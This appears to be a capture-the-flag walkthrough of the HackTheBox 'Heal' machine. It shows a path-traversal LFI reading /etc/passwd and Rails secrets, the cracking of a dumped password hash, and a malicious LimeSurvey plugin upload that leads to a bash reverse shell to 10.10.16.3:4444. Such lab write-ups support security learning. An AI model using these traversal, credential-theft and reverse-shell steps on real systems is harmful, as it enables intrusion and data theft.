We can use a proxy like caido in order to see the web structure and subdomains while we are using the web page
View
Subdomain: api.heal.htb
so we add him to the /etc/hosts
View
now we can use the login form
Result
Enumeration 2: Web Page (Logged)
Lets try to signup
View
looks like know we can: make a resume, take a survey, or check/logout
View
Resume:
Survey (new subdomain):
Profile:
checking the profile we can see that we are not marked as admin, researching i found that the authorization token is a JWT (JSON Web Token)
View
The resume builder return a PDF with the data parsed
View
checking the request using caido we see this request
View
Exploitation: LFI
The previus request looks like vulnerable to LFI
View
Perfect now we have a LFI, lets get the server users: /download?filename=../../../../../../etc/passwd (looking this file i think that there are a postgres database running)
Users: ralph, postgres, ron
I notice that api.heal.htb endoint have ruby on rails running.
Result
that’s means that we can read some configuration files
../../config/database.yml: SQLite 3.8.0 / database location: (storage/development.sqlite3)
View
../../config/credentials.yml.enc: Credentials
View
../../config/master.key: Master key
View
Cracking Password (Ralph)
We found a sqlite3 file so if we dump it we get a hash ../../storage/development.sqlite3
View
As we found a hash for the user ralph, we can try to crack it using john the ripper
john ralphHash --wordlist=/usr/share/wordlists/rockyou.txt
View
Credentials: ralph@heal.htb:147258369
Perfect!, now we are admin, lets find the RCE
View
Enumeration 3: Web Page (As Admin)
At the previous points i found a interesting tecnologie behind take-survey.heal.htb it using “LimeSurvey” now lets find the login panel
gobuster dir -u 'http://take-survey.heal.htb/' -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --add-slash
View
We can try to use the found credentials
View
We have access and we can check the version
View
Initial Access
Plugin Upload
we can try to upload a plugin, first we need to check the format that this technology use
View
I found that there are 2 essential files (config.xml, index.php) and they have to be compressed .zip
zip MyPlugin.zip config.xml index.php
XML:
<config> <metadata> <name>MyPlugin</name> <type>plugin</type> <creationDate>2025-01-01</creationDate> <lastUpdate>2025-01-01</lastUpdate> <author>R1nzler</author> <authorUrl>https://github.com/Marcejr117</authorUrl> <supportUrl>https://github.com/Marcejr117</supportUrl> <version>5.0</version> <license>GNU General Public License version 2 or later</license> <description> <![CDATA[Author : R1nzler]]></description> </metadata> <compatibility> <version>3.0</version> <version>4.0</version> <version>5.0</version> <version>6.0</version> </compatibility> <updaters disabled="disabled"></updaters></config>
Getting the revershell: http://take-survey.heal.htb/upload/plugins/MyPlugin/index.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.3%2F4444%200%3E%261%22
Listener:
nc -lvnp 4444
Privilege Escalation
Enumeration 1: (www-data)
Checking the files of the web service i found the postgres credentials
find ./ -type f -name "config*" -exec grep -B 3 -A 3 -E "*pass*" {} \;
This version is vulnerable to RCE, because this endpoint allow remote command execution: /v1/agent/service/register using the method PUT, we can use this PoC in order to abuse it